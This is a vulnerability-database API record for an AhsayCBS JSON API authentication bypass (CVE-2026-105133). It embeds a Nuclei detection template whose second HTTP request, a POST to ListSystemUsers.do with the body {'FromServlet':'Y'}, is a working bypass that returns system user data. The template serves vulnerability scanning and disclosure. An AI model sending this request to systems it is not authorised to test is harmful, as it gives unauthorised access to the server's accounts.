{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-105133/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-105133/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-105133/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-105133/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-105133/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-105133"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-105133"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-105133.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2026-105133\n\ninfo:\n  name: AhsayCBS - JSON API Authentication Bypass\n  author: alex\n  severity: medium\n  description: |\n    Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the \"random\" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.\n  impact: |\n    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.\n  remediation: |\n    Upgrade to version 10.3.4.\n  reference:\n    - https://www.ahsay.com/en/company/announcements\n    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/\n    - https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-105133\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-105133\n    epss-score: 0.7947\n    epss-percentile: 0.99604\n    cwe-id: CWE-287\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: ahsay\n    product: ahsaycbs\n  tags: cve,cve2026,ahsay,ahsaycbs,auth-bypass,vuln,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /obs/api/json/ListSystemUsers.do HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"application/json\")'\n          - 'contains_all(body, \"\\\"Status\\\":\\\"Error\\\"\", \"\\\"Parameter SysUser is null\\\"\")'\n        condition: and\n\n  - raw:\n      - |\n        POST /obs/api/json/ListSystemUsers.do HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"FromServlet\":\"Y\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"application/json\")'\n          - 'contains_all(body, \"\\\"Status\\\":\\\"OK\\\"\", \"\\\"Data\\\"\")'\n        condition: and\n# digest: 4a0a00473045022003cb26dd407a67d7960ffa60d97d9e932be042552879ac8de3b9189db2018890022100823f249c2b56b2799ee506824cbec7ab8481b4923956527644e5ab8877d3a1a2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-105133"
}